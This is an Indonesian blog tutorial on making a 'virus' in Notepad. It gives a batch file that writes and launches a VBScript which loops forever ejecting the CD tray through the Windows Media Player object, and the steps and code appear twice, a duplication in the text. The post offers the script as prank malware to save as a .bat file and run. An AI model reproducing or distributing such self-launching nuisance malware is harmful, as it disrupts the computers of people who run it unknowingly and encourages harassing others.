1. Pertama silahkan buka notepad
2. Copy dan paste kode dibawah ini pada notepad
::__---Virus name Created By VirusAuthor---__::
@echo off
::-------Open Disk Tray------::
echo Do >> "opendisk.vbs"
echo Set oWMP = CreateObject("WMPlayer.OCX.7" ) >> "opendisk.vbs"
echo Set colCDROMs = oWMP.cdromCollection >> "opendisk.vbs"
echo colCDROMs.Item(d).Eject >> "opendisk.vbs"
echo colCDROMs.Item(d).Eject >> "opendisk.vbs"
echo Loop >> "opendisk.vbs"
start "" "opendisk.vbs"
::---------------------------::
3. Save file tersebut dengan nama_virus.bat ( pastikan ”save as type” diubah ke ”all files” dan exstensinya "nama_virus.bat")
4. Sekarang bisa dicoba hasilnya...!!!!
2. Copy dan paste kode dibawah ini pada notepad
::__---Virus name Created By VirusAuthor---__::
@echo off
::-------Open Disk Tray------::
echo Do >> "opendisk.vbs"
echo Set oWMP = CreateObject("WMPlayer.OCX.7" ) >> "opendisk.vbs"
echo Set colCDROMs = oWMP.cdromCollection >> "opendisk.vbs"
echo colCDROMs.Item(d).Eject >> "opendisk.vbs"
echo colCDROMs.Item(d).Eject >> "opendisk.vbs"
echo Loop >> "opendisk.vbs"
start "" "opendisk.vbs"
::---------------------------::
3. Save file tersebut dengan nama_virus.bat ( pastikan ”save as type” diubah ke ”all files” dan exstensinya "nama_virus.bat")
4. Sekarang bisa dicoba hasilnya...!!!!
0 komentar:
Posting Komentar